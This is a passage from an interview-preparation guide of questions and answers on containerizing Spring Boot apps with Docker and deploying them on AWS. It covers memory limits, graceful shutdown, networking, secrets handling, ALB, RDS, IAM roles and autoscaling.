- **Does Jib run as root by default?** The base image decides; distroless java images default to root unless you set `jib.container.user`.

#buildpacks #jib #build

Q14 How does Docker networking work, and how do containers reach each other?

INTERMEDIATE

Default drivers: `bridge` (private network per host, NAT to outside), `host` (shares host network stack), `none`. On a user-defined bridge (the Compose default) containers resolve each other by service name through Docker's embedded DNS; the default `bridge` network has no name resolution.

- `-p 8080:8080` publishes a container port on the host; inter-container traffic needs no published port.
- `localhost` inside a container is the container itself, so an app must use `jdbc:postgresql://db:5432/app`, not `localhost`.
- Reach the host from a container via `host.docker.internal` (Docker Desktop, or `--add-host=host.docker.internal:host-gateway` on Linux).
- `EXPOSE` is documentation only.

FOLLOW-UP TRAPS

- **Does `EXPOSE 8080` make the port reachable from host?** No, you must publish with `-p`.
- **Why can't two Compose services resolve each other?** They are on different networks.

#networking #compose

Q15 How do you use Docker Compose for local Spring Boot development?

BASIC

Compose declares multi-container apps in YAML so one `docker compose up` starts the app with Postgres, Redis, etc. Use `depends_on` with health conditions so the app waits for readiness, not merely start.

```
services:
  db:
    image: postgres:16
    environment: { POSTGRES_PASSWORD: secret, POSTGRES_DB: app }
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres"]
      interval: 5s
      retries: 10
    volumes: [pgdata:/var/lib/postgresql/data]
  api:
    build: .
    ports: ["8080:8080"]
    environment:
      SPRING_DATASOURCE_URL: jdbc:postgresql://db:5432/app
      SPRING_DATASOURCE_PASSWORD: secret
    depends_on:
      db: { condition: service_healthy }
volumes:
  pgdata:
```

- Spring Boot 3.1+ has `spring-boot-docker-compose` support that starts the compose file automatically and wires connection details; Testcontainers is the equivalent for tests.
- Named volumes persist data across `down`; `down -v` deletes them.

FOLLOW-UP TRAPS

- **Does plain `depends_on` wait for Postgres to accept connections?** No, only for the container to start; add a healthcheck condition.
- **Is Compose a production orchestrator?** Not for multi-node HA; use Kubernetes/ECS.

#docker-compose #local-dev

Q16 What do volumes and bind mounts do, and what should a Java container persist? BASIC

Container filesystems are ephemeral. Volumes (managed by Docker) and bind mounts (host paths) persist data beyond the container lifecycle. A stateless Spring Boot app should persist nothing locally: logs go to stdout, state to a DB/object store.

- Mount volumes for databases or for heap dumps (`-XX:HeapDumpPath=/dumps`).
- `tmpfs` or `emptyDir` for `/tmp` when the root FS is read-only (Tomcat uses `/tmp` for uploads/work dirs).
- Writing logs to files inside the container grows the writable layer and is lost on restart.

FOLLOW-UP TRAPS

- **Why does Tomcat fail on a read-only root FS?** It needs a writable temp dir; mount `/tmp`.
- **Bind mount vs volume for production?** Prefer volumes or orchestrator-managed storage; bind mounts depend on host paths and permissions.

#volumes #storage

Scenarios

Q17 Every code change re-downloads all Maven dependencies in `docker build`. Fix it. BASIC

`COPY . .` before the build invalidates the cache on any change, so the dependency-resolving step reruns. Copy only `pom.xml` first, resolve dependencies, then copy sources; or use a BuildKit cache mount.

```
COPY pom.xml .
RUN mvn -B dependency:go-offline
COPY src ./src
RUN mvn -B package -DskipTests
```

Expected: after the first build, a source-only change reuses the dependency layer and only recompiles. Also add `.dockerignore` for `target/` and `.git`.

> **FOLLOW-UP TRAPS**
> - **Does `go-offline` get every plugin?** Not always; a cache mount for `~/.m2` is more reliable.
> - **Does changing the `pom.xml` version string bust the cache?** Yes, and so does any whitespace change.

#caching #dockerfile

Q18 **The pod is `OOMKilled` (exit 137) every few hours, but heap usage in Actuator is below `-Xmx`. Diagnose.** ADVANCED

The kernel killed the process because RSS (heap + non-heap) hit the container limit; the heap itself never overflowed. Suspect something in non-heap: threads, direct buffers, metaspace/classloader leaks, JNI/native libs, or heap set too close to the limit.

Steps:

1. Check config: limit 1 GiB with `-Xmx1g` is guaranteed to die; use `MaxRAMPercentage=70`.
2. Enable NMT: `-XX:NativeMemoryTracking=summary`, then `jcmd 1 VM.native_memory summary` over time and diff.
3. Monitor `jvm_memory_used_bytes{area="nonheap"}`, `jvm_buffer_memory_used_bytes`, `jvm_threads_live_threads`.
4. Common culprits: unbounded thread pools, Netty direct buffers, large `Xss`, glibc malloc arenas (try `MALLOC_ARENA_MAX=2`).

> **FOLLOW-UP TRAPS**
> - **Will raising the limit fix it?** It may delay it; if there is a leak, it returns.
> - **Why does glibc cause growth?** Per-thread malloc arenas fragment native memory; limit arenas or use jemalloc.

#oomkilled #native-memory #troubleshooting

Q19 **A service in a 512 MB container starts, then the JVM is killed immediately with exit 137. The Dockerfile uses `-Xmx512m`. What is wrong and what do you change?** BASIC

Heap alone consumes the entire limit; metaspace, stacks and code cache push RSS above 512 MB so the kernel kills it. Make the heap a fraction of the limit and (probably) raise the limit.

```
ENV JAVA_TOOL_OPTIONS="-XX:MaxRAMPercentage=65 -XX:+ExitOnOutOfMemoryError"
```

With 512 MB, 65% gives about 332 MB heap and leaves ~180 MB for non-heap. A Spring Boot app often needs at least 768 MB to 1 GiB to be comfortable.

> **FOLLOW-UP TRAPS**
> - **Is `-Xms` equal to `-Xmx` safe here?** It commits all heap up front; fine in a right-sized container, but it makes the problem visible immediately.
> - **Does `JAVA_TOOL_OPTIONS` print anything?** Yes, the JVM logs `Picked up JAVA_TOOL_OPTIONS: ...` on stderr at startup.

#memory #oomkilled

Q20 **`docker stop` takes exactly 10 seconds and requests in flight get dropped. Fix it.** INTERMEDIATE

SIGTERM is not reaching the JVM, so Docker escalates to SIGKILL after 10 s. Root cause is shell-form `CMD` / `ENTRYPOINT` (or a wrapper script without `exec`).

```
# wrong
ENTRYPOINT java -jar /app/app.jar
# right
ENTRYPOINT ["java","-jar","/app/app.jar"]
```

Wrapper scripts should end with `exec java ...`. Then add `server.shutdown=graceful` and a timeout; set the stop timeout above it. Expected: stop completes in a second or two on an idle app, and in-flight requests finish before exit code 143.

FOLLOW-UP TRAPS

- **If the app already handles SIGTERM, why would exit code be 143?** The JVM reports 128+15 after the shutdown hook; it is normal.
- **Do you still need `tini`?** Only if the app spawns child processes that need reaping.

#graceful-shutdown #pid1

Q21 Container works on your laptop but runs 3x slower in Kubernetes with `cpu: 500m`. Why? ADVANCED

Under a CFS quota of 0.5 CPU the JVM sees 1 processor, picks small thread pools and possibly SerialGC, and the container gets throttled when its threads use the quota in bursts. JIT compilation and GC threads at startup burn the quota, so startup and tail latency suffer.

- Check `container_cpu_cfs_throttled_periods_total` / throttling metrics.
- Raise the CPU limit (or remove limits and keep requests, a debated but common practice), and give at least 1 to 2 CPUs for JIT warm-up.
- Override: `-XX:ActiveProcessorCount=2`, explicitly choose `-XX:+UseG1GC` or `-XX:+UseParallelGC`.
- Consider CDS/AppCDS, Spring AOT or native image to cut start-up CPU.

FOLLOW-UP TRAPS

- **Are CPU requests also a hard cap?** No, requests are for scheduling and relative weight; limits throttle.
- **Does 500m give `availableProcessors() == 0`?** No, it is rounded up to 1.

#cpu-limits #throttling

Q22 You get `java.lang.OutOfMemoryError: Java heap space` in the container; how do you capture a heap dump that survives the restart? INTERMEDIATE

The writable layer dies with the container, so write dumps to a mounted volume.

```
docker run -v /data/dumps:/dumps -m 1g \
  -e JAVA_TOOL_OPTIONS="-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dumps -
XX:+ExitOnOutOfMemoryError" \
  shop/api:1.4.0
```

- In Kubernetes use a PVC or `emptyDir` plus a sidecar/uploader; the dump is about the size of used heap, so size the volume accordingly.
- Analyze with Eclipse MAT or VisualVM; look at dominator tree for retained size.
- With `ExitOnOutOfMemoryError` the dump is written first, then the JVM exits.

FOLLOW-UP TRAPS

- **Why not just `jmap` into the container?** Distroless/JRE images may lack it, and a failed container is already gone.
- **Does the dump slow shutdown?** Yes; a multi-GB dump can exceed the grace period and get SIGKILLed mid-write.

#heap-dump #oom #volumes

Q23 Your image is 900 MB and deploys slowly. How do you shrink and speed it? INTERMEDIATE

Typical causes: JDK base, build tools left in the final stage, `target/` and `.git` in context, one huge fat-jar layer.

1. Multi-stage build; runtime on `eclipse-temurin:21-jre` or distroless.
2. Layered jar extraction, so dependency layers are cached on nodes.
3. `.dockerignore` for build output and VCS.
4. Remove unused starters/dependencies; check with `mvn dependency:analyze`.
5. Optional: `jlink` custom runtime (~50-80 MB JRE), or a GraalVM native image (tens of MB, different tradeoffs).
6. Clean apt caches in the same `RUN` (`rm -rf /var/lib/apt/lists/*`).

Expected: ~900 MB to ~200-250 MB, and subsequent pulls transfer only changed layers.

FOLLOW-UP TRAPS

- **Does compressing the jar help?** Little; the registry already gzips layers.
- **Does a native image remove the need for tuning?** It removes JVM warm-up and shrinks memory, but costs build time, reflection config and peak throughput.

#image-size #optimization

Q24 Spring Boot container starts before Postgres is ready in Compose and crashes. What are the fixes? BASIC

`depends_on` without a condition only orders container start. Use a DB healthcheck with `condition: service_healthy`, and make the app tolerant: connection-retry settings and `restart: on-failure`.

```
api:
  depends_on:
    db: { condition: service_healthy }
  restart: on-failure
```

- HikariCP's `initializationFailTimeout` defaults to 1 ms, so startup fails fast if the DB is down; a larger positive value makes it retry for that long, and a negative value skips the initial check.
- In Kubernetes you rely on readiness and retries rather than ordering.

FOLLOW-UP TRAPS

- **Is `wait-for-it.sh` still needed?** Not with `service_healthy`.
- **Is crashing at startup bad in K8s?** It leads to CrashLoopBackOff, but the pod does recover when the DB appears.

#compose #startup-order

Q25 The container cannot reach `localhost:5432` for the database running on the host. Explain and fix. BASIC

`localhost` inside the container is the container's own loopback. Point at the host with `host.docker.internal` (Docker Desktop; on Linux add `--add-host=host.docker.internal:host-gateway`), or run the DB as another container on the same user-defined network and use its service name.

```
docker run --add-host=host.docker.internal:host-gateway \
  -e SPRING_DATASOURCE_URL=jdbc:postgresql://host.docker.internal:5432/app shop/api
```

Also ensure Postgres listens on a non-loopback address and `pg_hba.conf` allows the source.

FOLLOW-UP TRAPS

- **Does `--network host` solve it?** On Linux yes, but it removes isolation; on Docker Desktop it behaves differently.
- **Why might it still be refused?** Postgres bound only to `127.0.0.1`.

#networking #localhost

Q26 Build works, container exits with `Permission denied` writing to `/app/logs` after you added `USER`. What happened? BASIC

Files copied by root are owned by root, and the unprivileged user cannot write into them. Fix ownership or, better, stop writing logs to files.

```
RUN mkdir -p /app/logs && chown -R 10001:10001 /app
USER 10001
```

Best practice: log to stdout (Logback console appender) so the platform collects logs, and mount `/tmp` as writable if needed. Expected: no permission errors and `docker logs` shows output.

FOLLOW-UP TRAPS

- **Does `COPY --chown` fix the whole directory?** Only for what it copies; directories created by `RUN mkdir` stay root-owned.
- **What about volume mounts?** Mounted volumes carry host/volume ownership; align the UID or use `fsGroup` in Kubernetes.

#non-root #permissions

Q27 A secret leaked into a published image via `ARG`. How do you remediate and prevent it? INTERMEDIATE

Treat the secret as compromised: rotate it first. Removing the layer later does not help since published layers and `docker history` expose it and the image may be cached elsewhere. Then fix the build so it never writes secrets to a layer.

```
# syntax=docker/dockerfile:1
RUN --mount=type=secret,id=nexus,target=/root/.m2/settings.xml \
    mvn -B package
```

```
docker build --secret id=nexus,src=$HOME/.m2/settings.xml .
```

- Runtime secrets come from env vars/mounted files via the orchestrator, never from the image.
- Add image scanning (Trivy, Grype) and secret scanning in CI.

FOLLOW-UP TRAPS

- **Does deleting the file in a later `RUN` hide it?** Not from someone inspecting earlier layers.
- **Is `ENV` safer than `ARG`?** No, `ENV` persists in the final image config.

#secrets #security

Q28 Container becomes `unhealthy` during start-up although the app is fine. Why and what do you adjust? INTERMEDIATE

Spring Boot can take 20-60 s to start; the healthcheck runs from container start and consecutive failures exceed `retries`. Add `--start-period` (failures during it do not count), and probe a lightweight readiness endpoint.

```
HEALTHCHECK --interval=15s --timeout=3s --start-period=60s --retries=3 \
  CMD wget -qO- http://localhost:8080/actuator/health/liveness || exit 1
```

If it is unhealthy even after start: the tool (`curl`/`wget`) may be missing in the image, so the command exits non-zero. Test with `docker exec`.

FOLLOW-UP TRAPS

- **Should the Docker healthcheck call the readiness probe?** For Docker, liveness is typically enough; readiness includes downstream deps and may flap.
- **Does `start-period` delay the first check?** No, checks run, but failures are not counted until it passes or the period ends.

#healthcheck #start-period

Q29 You need to run a Boot app with read-only root FS and no shell in production. What must you configure? ADVANCED

Use a distroless/jre-only runtime, `readOnlyRootFilesystem`, a writable `/tmp`, dropped capabilities, and a non-root user.

```
securityContext:
  runAsNonRoot: true
  runAsUser: 10001
  readOnlyRootFilesystem: true
  allowPrivilegeEscalation: false
  capabilities: { drop: ["ALL"] }
volumeMounts:
  - { name: tmp, mountPath: /tmp }
```

- Tomcat work dir and multipart uploads use `java.io.tmpdir`; set `-Djava.io.tmpdir=/tmp`.
- Heap dumps and any file logging need explicit writable mounts.
- Debug using `kubectl debug` with an ephemeral container or a `:debug` image.

FOLLOW-UP TRAPS

- **Does read-only FS block `emptyDir`?** No, volumes are separate mounts and stay writable.
- **Can the JVM write `hsperfdata`?** It writes to `/tmp/hsperfdata_<user>`; failing writes are non-fatal, or disable with `-XX:-UsePerfData`.

#hardening #distroless #read-only

Q30 How would you speed up JVM start-up in containers for autoscaling? ADVANCED

Cold start of a Spring Boot app (5-30 s) delays scale-out. Options in increasing effort:

- Reduce work: lazy init (`spring.main.lazy-initialization=true`, with trade-offs), trim auto-configurations and classpath scanning.
- Class Data Sharing: JDK 13+ AppCDS archive; Spring Boot 3.3+ supports CDS with `-Djarmode=tools` and `-XX:SharedArchiveFile`; JDK 19+ `-XX:+AutoCreateSharedArchive`.
- Spring AOT processing.
- Project CRaC (checkpoint/restore) with supported JDKs; Boot 3.2+ integrates.
- GraalVM native image: ~100 ms startup, lower memory; costs: slower builds, closed-world constraints, lower peak throughput.
- Give startup enough CPU (startup CPU boost / higher limits during start).

FOLLOW-UP TRAPS

- **Does lazy init make the first request slow?** Yes, beans initialize on first use and config errors surface late.
- **Is native image always cheaper?** Not if the workload is long-running with high throughput, where JIT-optimized peak wins.

#startup #cds #native-image

Q31 What are the most common production mistakes when containerizing Java apps? INTERMEDIATE

A checklist of mistakes seen repeatedly:

- Using `latest` tags, so deploys are non-reproducible and rollbacks ambiguous.
- Running as root; shipping the JDK and build tools; huge images.
- Shell-form entrypoint, so no graceful shutdown.
- `-Xmx` equal to the limit, or old JVMs ignoring cgroups.
- No memory limit (host OOM) or limit without understanding non-heap.
- Logging to files instead of stdout; leaking secrets in layers or env dumps.
- Healthcheck depending on external systems, causing restart storms.
- Baking environment-specific config into the image instead of externalizing it.
- Unscanned base images with known CVEs; never rebuilding to pick up patches.

FOLLOW-UP TRAPS

- **Is tagging by Git SHA better than semver?** Both work if immutable; SHA or digest guarantees traceability.
- **How often should you rebuild base images?** Regularly (weekly or on CVE) even without code changes.

#best-practices #production

Q32 **Two services need to communicate in Compose, but one is reachable only through its host-published port from your browser. How do you design the networking?** INTERMEDIATE

Publish only what humans or external clients need (the gateway); keep databases and internal services on a private network reachable by service name. Use separate networks to segment.

```
services:
  gateway: { ports: ["8080:8080"], networks: [front, back] }
  orders:  { networks: [back] }
  db:      { networks: [back] }
networks: { front: {}, back: {} }
```

Orders reaches the database via `db:5432` on `back`; the browser reaches only the gateway on `localhost:8080`. Expected: `db` and `orders` are not reachable from the host or `front` clients.

FOLLOW-UP TRAPS

- **Should every service use `ports:`?** No; `expose` or nothing at all is enough for internal traffic.
- **Does the container port equal the host port?** Only if mapped that way; `8081:8080` maps host 8081 to container 8080.

#networking #compose

DOCKER, CLOUD & DEVOPS · CHAPTER 2

Deploying Spring Boot on AWS

Compute options (EC2, ECS/Fargate, EKS, Lambda), ALB, RDS, ElastiCache, S3, IAM roles, Secrets Manager, VPC design, autoscaling, blue/green deployments, cost control and production debugging scenarios.

30 questions **6** basic **15** intermediate **9** advanced

Theory

Q1 Which AWS compute options can run a Spring Boot app and how do you choose? BASIC

Pick the lowest-operations option that meets your control, scale and cost needs.

- **EC2**: full control of VM and JVM, cheapest at steady load, you patch and scale it (ASG).
- **ECS on Fargate**: serverless containers, no nodes to manage, pay per vCPU/GB-second; the usual default for teams without Kubernetes needs.
- **ECS on EC2**: containers on your own nodes, better bin-packing and GPU/special instances.
- **EKS**: managed Kubernetes control plane; choose for portability, ecosystem (Helm, operators) or existing K8s skills.
- **Lambda**: event-driven, scale to zero; JVM cold start and 15-minute limit matter (SnapStart, native image help).
- **Elastic Beanstalk / App Runner**: PaaS-like, fastest to start, less control.

> FOLLOW-UP TRAPS
> - **Is Fargate always cheaper than EC2?** No, at steady high utilization EC2 (especially Reserved/Spot) is cheaper.
> - **Is EKS Fargate the same as ECS Fargate?** No, different control planes; EKS adds Kubernetes API and per-cluster cost.

#compute #ec2 #ecs #eks #lambda

Q2 How does an Application Load Balancer work with Spring Boot services? BASIC

An ALB is a Layer 7 load balancer: it terminates TLS, routes by host/path/header rules to target groups, and health-checks targets. Targets can be instances, IPs (Fargate/EKS pods) or Lambda.

- Health check path: `/actuator/health/readiness`; healthy/unhealthy thresholds and interval determine how fast bad tasks leave rotation.
- Idle timeout defaults to 60 s; set the app's keep-alive (Tomcat `server.tomcat.keep-alive-timeout`) higher than the ALB's to avoid 502s on reused connections.
- `X-Forwarded-*` headers: set `server.forward-headers-strategy=framework` (or `native`) so redirects and `request.getScheme()` reflect HTTPS.
- Deregistration delay (default 300 s) lets in-flight requests drain on deploy.
- NLB (Layer 4) is for TCP/TLS passthrough, static IPs, extreme throughput.

> FOLLOW-UP TRAPS
> - **Why would an ALB return 502 intermittently?** The backend closed an idle connection before the ALB's idle timeout.
> - **Does the ALB see the client IP?** Not directly; the app reads `X-Forwarded-For`.

#alb #load-balancing

Q3 How do IAM roles replace access keys for Spring Boot apps on AWS? BASIC

Attach an IAM role to the compute resource (instance profile for EC2, task role for ECS, IRSA/Pod Identity for EKS, execution role for Lambda); the AWS SDK's default credentials chain obtains short-lived credentials automatically. No access keys in code, env vars or config.

- ECS has two roles: the **execution role** (pull image from ECR, write logs, read secrets at launch) and the **task role** (what your application code can call).
- Apply least privilege: scope to the specific bucket/queue/secret ARN.
- SDK v2 credentials chain: env vars, system props, web identity token, profile, container credentials, instance profile.

```
S3Client s3 = S3Client.create(); // credentials and region resolved from the environment
```

FOLLOW-UP TRAPS

- **Execution role vs task role?** Execution role serves the ECS agent; task role is for your app's AWS calls.
- **Why does the app work locally but fail with `AccessDenied` on ECS?** Local uses your admin profile; the task role lacks the policy.

#iam #security

Q4 How do you design a VPC for a production Spring Boot app? INTERMEDIATE

Multi-AZ VPC with public subnets for the ALB/NAT and private subnets for compute and data.

- Public subnets: route to an Internet Gateway; hold ALB and NAT Gateways.
- Private app subnets: outbound via NAT Gateway (or VPC endpoints); no public IPs.
- Isolated data subnets: RDS/ElastiCache with no internet route.
- Security groups (stateful) chain trust: ALB SG to app SG on 8080 to DB SG on 5432; reference SGs, not CIDRs.
- NACLs are stateless subnet-level filters, rarely needed beyond defaults.
- VPC endpoints: gateway endpoints for S3/DynamoDB (free), interface endpoints (PrivateLink) for ECR, Secrets Manager, CloudWatch, which also cut NAT data charges.
- Span at least 2 AZs.

FOLLOW-UP TRAPS

- **Security group vs NACL?** SGs are stateful and allow-only at the ENI; NACLs are stateless with allow/deny at the subnet.
- **Why is the NAT Gateway bill huge?** Image pulls and S3 traffic going through NAT; add endpoints.

#vpc #networking #security-groups

Q5 Why use RDS (or Aurora) and what must you configure for a Spring Boot app? INTERMEDIATE

RDS manages patching, backups, failover and replicas. Multi-AZ gives a synchronous standby with automatic failover (same endpoint, DNS flips in ~1-2 minutes); read replicas scale reads asynchronously.

- Connect via the endpoint DNS name, never an IP; keep JVM DNS TTL low (`networkaddress.cache.ttl=30`) so failover is picked up.
- Size HikariCP so `pool size x instances` stays under `max_connections`; consider RDS Proxy for many short-lived clients (Lambda).
- Force TLS (`sslmode=verify-full` with the RDS CA bundle).
- Use IAM database auth or Secrets Manager rotation for credentials.
- Aurora: cluster writer/reader endpoints, faster failover (~30 s), storage auto-scaling; Aurora Serverless v2 scales ACUs.

```
spring.datasource.hikari.maximum-pool-size: 10
spring.datasource.hikari.max-lifetime: 1500000   # below proxy/LB idle limits
```

FOLLOW-UP TRAPS

- **Does Multi-AZ improve read scaling?** No, the standby is not readable (classic Multi-AZ instance); use read replicas or Multi-AZ cluster.
- **Why do connections break after failover?** Stale pooled connections and cached DNS; set max-lifetime and DNS TTL.

#rds #aurora #hikari

Q6 How would you use ElastiCache with Spring Boot? INTERMEDIATE

ElastiCache provides managed Redis/Valkey (or Memcached) inside your VPC, used via Spring Data Redis / Spring Cache.

```
spring:
  data.redis:
    host: my-cache.xxxxxx.use1.cache.amazonaws.com
    port: 6379
    ssl.enabled: true
  cache.type: redis
```

- Private subnets only; SG allows 6379 from the app SG only.
- Enable in-transit encryption (TLS) and at-rest encryption; AUTH token or IAM auth.
- Replication group with Multi-AZ and automatic failover for HA; cluster mode for sharding.
- Always set TTLs; cache is an optimization, not the source of truth.
- Use the primary endpoint (or configuration endpoint for cluster mode) so failover is transparent.

FOLLOW-UP TRAPS

- **Is ElastiCache reachable from your laptop?** Not directly; it has no public endpoint, use a bastion/SSM tunnel.
- **Redis vs Memcached?** Redis has data structures, persistence and replication; Memcached is simple, multi-threaded caching only.

#elasticache #redis #caching

Q7 How do you use S3 from Spring Boot, including large files? INTERMEDIATE

Use AWS SDK v2 (or Spring Cloud AWS `S3Template`). For big uploads/downloads avoid streaming through the app: issue pre-signed URLs so clients talk to S3 directly.

```
S3Presigner presigner = S3Presigner.create();
PresignedPutObjectRequest req = presigner.presignPutObject(r -> r
    .signatureDuration(Duration.ofMinutes(10))
    .putObjectRequest(p -> p.bucket("shop-uploads").key("u/42/avatar.png")));
String url = req.url().toString();
```

- Multipart upload for objects over ~100 MB (required above 5 GB); `S3TransferManager` handles it.
- Block public access; encrypt with SSE-S3 or SSE-KMS; use bucket policies and versioning.
- S3 is strongly consistent for reads after writes since Dec 2020.
- Use a VPC gateway endpoint to avoid NAT costs.

FOLLOW-UP TRAPS

- **Is S3 a filesystem?** No, it is an object store with no rename or append; "rename" is copy plus delete.
- **Can presigned URLs be revoked?** Not individually; they expire, or you rotate the signing credentials.

#s3 #presigned-url

Q8 How should secrets and config be handled: Secrets Manager vs Parameter Store?

INTERMEDIATE

Both are managed stores. Secrets Manager adds automatic rotation (native for RDS), cross-region replication and costs per secret per month plus API calls. SSM Parameter Store is cheaper (standard tier is free) for config and simple secrets (SecureString with KMS).

- Spring Cloud AWS 3.x imports them: `spring.config.import=aws-secretsmanager:prod/shop/db` or `aws-parameterstore:/shop/prod/`.
- On ECS, inject at container start via the task definition `secrets` field (needs execution role permission); on EKS use External Secrets Operator or Secrets Store CSI driver.
- Secrets are read at startup; rotation requires restart or a refresh mechanism, unless you use a driver that fetches credentials dynamically.
- Never put secrets in task definition plain `environment`, images, or Git.

```
"secrets": [{ "name": "SPRING_DATASOURCE_PASSWORD",
  "valueFrom": "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/db-AbCdEf:password::"
}]
```

FOLLOW-UP TRAPS

- **Does rotation update running apps?** No, they keep the old password until they reload.
- **Who needs permission to fetch an injected secret on ECS?** The execution role.

#secrets-manager #ssm #config

Q9 How does autoscaling work on AWS for a Spring Boot service?

INTERMEDIATE

Scale out/in the number of instances or tasks based on metrics.

- EC2 Auto Scaling Group: target-tracking policy (e.g. average CPU 60%), scheduled actions, health checks via ELB; uses a launch template.
- ECS Service Auto Scaling: target tracking on `ECSServiceAverageCPUUtilization`, memory, or `ALBRequestCountPerTarget`.
- EKS: HPA for pods plus Cluster Autoscaler or Karpenter for nodes.
- Lambda: scales per concurrent request; control with reserved/provisioned concurrency.
- Tune cooldowns: JVM warm-up means new tasks are not ready for 30-60 s, so scale out aggressively and scale in slowly.
- Request-count-per-target is often a better signal than CPU for I/O-bound services.

FOLLOW-UP TRAPS

- **Why does CPU scaling lag for spikes?** Metrics are 1-minute granularity plus warm-up; pre-scale or use request-based metrics and a higher min.
- **Is min=1 acceptable for production?** No, it is a single point of failure and a deploy outage; use at least 2 across AZs.

#autoscaling #ecs #asg

Q10 Explain blue/green and rolling deployments on AWS.

INTERMEDIATE

Rolling replaces instances/tasks gradually; blue/green runs the new version (green) alongside the old (blue) and shifts traffic, allowing instant rollback.

- ECS native rolling: `minimumHealthyPercent` / `maximumPercent` with the deployment circuit breaker (auto-rollback on failed deployment).
- ECS blue/green via CodeDeploy: two target groups on the ALB, traffic shifted all-at-once, linear or canary (e.g. 10% for 5 min), with test listener and alarms triggering rollback. ECS also offers built-in blue/green now.

- EC2: ASG instance refresh, or CodeDeploy with ALB.
- Lambda: aliases with weighted traffic shifting.
- Database changes must be backward compatible (expand/contract with Flyway), since both versions run concurrently.

```
"deploymentConfiguration": {
  "minimumHealthyPercent": 100, "maximumPercent": 200,
  "deploymentCircuitBreaker": { "enable": true, "rollback": true }
}
```

FOLLOW-UP TRAPS

- **Does blue/green cost double?** Only during the deployment window.
- **Is a failing schema migration rolled back with the app?** No, DB changes are not undone by traffic rollback.

#deployment #blue-green #codedeploy

Q11 How does Spring Boot run on Lambda, and what are the cold-start options? ADVANCED

Lambda runs a handler per event; for HTTP you front it with API Gateway/Function URL and adapt via `spring-cloud-function-adapter-aws` or AWS Serverless Java Container. A JVM cold start of a full Spring context takes 5-10+ seconds.

Mitigations:

- **SnapStart** (Java 11+; snapshot of the initialized runtime, restored on cold start, often under 1-2 s). Beware uniqueness: random seeds, connections and timestamps cached at init must be re-established via CRaC hooks.
- **GraalVM native image** on `provided.al2023` runtime: very fast start, small memory.
- Provisioned concurrency: pre-initialized environments, costs money.
- Smaller context: Spring Cloud Function instead of full MVC, lazy beans, more memory (CPU scales with memory).
- DB connections: use RDS Proxy; each concurrent Lambda opens its own connection.

FOLLOW-UP TRAPS

- **Does more memory make Lambda faster?** Yes, vCPU scales proportionally with memory, so CPU-bound init speeds up.
- **Does SnapStart work on `$LATEST`?** No, it applies only to published versions and aliases.

#lambda #snapstart #cold-start

Q12 Compare ECS and EKS for a Spring Boot microservices platform. INTERMEDIATE

ECS is simpler and AWS-native; EKS is standard Kubernetes with a richer ecosystem and more operational surface.

- ECS: task definitions/services, deep IAM and ALB integration, no control plane fee, Fargate integration is seamless; vendor lock-in.
- EKS: Kubernetes APIs, Helm/operators/service mesh, portable across clouds; control plane fee (~$0.10/h per cluster), upgrades every ~14 months of support, node management (managed node groups, Karpenter, Fargate).
- Choose ECS when the team is small and AWS-only; EKS when you need K8s tooling, multi-cloud or many platform teams.
- Both pull from ECR, log to CloudWatch (awslogs/Fluent Bit), and use IAM roles per workload.

FOLLOW-UP TRAPS

- **Does EKS manage worker nodes?** Only the control plane; nodes are yours unless managed node groups/Fargate/Auto Mode.
- **Is ECS cheaper?** Often, due to no control plane fee and less ops, but compute cost is the same.

#ecs #eks #comparison

Q13 How do you handle logging, metrics and tracing on AWS? BASIC

Log JSON to stdout; the platform ships it to CloudWatch Logs. Export metrics with Micrometer, and traces with OpenTelemetry/X-Ray.

- ECS: `awslogs` driver (or FireLens/Fluent Bit); EKS: Fluent Bit/CloudWatch agent daemonset; EC2: CloudWatch agent.
- CloudWatch Logs Insights for queries; set retention (default is never expire, which costs money).
- Micrometer `micrometer-registry-cloudwatch2` or Prometheus + AMP/Grafana; Actuator for health.
- Include a trace/correlation ID in MDC (Micrometer Tracing) to follow a request through services.
- Alarms: ALB 5xx, target response time, unhealthy hosts, task count, RDS CPU/connections/free storage.

FOLLOW-UP TRAPS

- **Why are CloudWatch costs spiking?** Debug-level logging and long retention; ingestion is billed per GB.
- **Can you tail logs of a stopped task?** Yes, if shipped to CloudWatch before it died.

#observability #cloudwatch

Q14 What are the main cost levers for a Spring Boot workload on AWS? INTERMEDIATE

Right-size first, then commit, then optimize data transfer.

- Right-size memory/CPU from real metrics; a JVM often runs at 20% CPU on over-provisioned instances.
- Savings Plans / Reserved Instances for the steady baseline (up to ~70% off), Spot for stateless/batch (up to 90%, handle 2-minute interruption), Graviton (ARM64) instances ~20% cheaper per performance; multi-arch images required.
- Fargate Spot for tolerant tasks; scale down non-prod at night.
- NAT Gateway: hourly + per-GB; use VPC endpoints, one NAT per AZ only for production.
- Cross-AZ and internet egress data transfer, CloudWatch log ingestion, idle load balancers, unattached EBS volumes.
- Use Cost Explorer, tags and budgets with alerts.

FOLLOW-UP TRAPS

- **Does Graviton need code changes?** Not for pure Java, but native libs and images must be arm64.
- **Why is cross-AZ chatter expensive?** Data between AZs is billed per GB in each direction.

#cost #optimization

Scenarios

Q15 After deployment, the ALB returns 502/503 and ECS keeps replacing tasks. How do you debug? INTERMEDIATE

Tasks start but fail target-group health checks, so ECS stops them and starts new ones. Work through the chain:

1. ECS service events and stopped-task reason: `Task failed ELB health checks`, or `Essential container exited`.
2. CloudWatch logs: startup exception, bad datasource URL, missing secret.

3. Health check config: path correct (`/actuator/health`), port matches the container port, matcher `200`, and `healthCheckGracePeriodSeconds` larger than app start-up (e.g. 120 s).
4. Security groups: ALB SG must reach task SG on the container port.
5. App binds to `0.0.0.0` (Boot does by default) and on the port in the task definition.
6. Health endpoint requires authentication (Spring Security 401), so the check fails; permit it.

```
aws ecs describe-services --cluster prod --services api --query 'services[0].events[:5]'
aws ecs describe-tasks --cluster prod --tasks <id> --query 'tasks[0].stoppedReason'
```

FOLLOW-UP TRAPS

- **Why does a slow start-up loop forever?** Without a grace period, the ALB marks the task unhealthy before the app is up and ECS kills it.
- **Is 503 vs 502 meaningful?** 503 means no healthy targets; 502 means a bad response or closed connection from a target.

#ecs #alb #troubleshooting

Q16 A task is stopped with "Essential container exited, exit code 137". What do you check? INTERMEDIATE

137 is SIGKILL, usually the container exceeded its hard memory limit (`OutOfMemoryError: Container killed due to memory usage`). Compare task memory with heap plus non-heap.

- Check the container `memory` (hard limit) vs `memoryReservation` (soft) in the task definition and Fargate task size.
- Set `-XX:MaxRAMPercentage=70` instead of a fixed `-Xmx` near the limit.
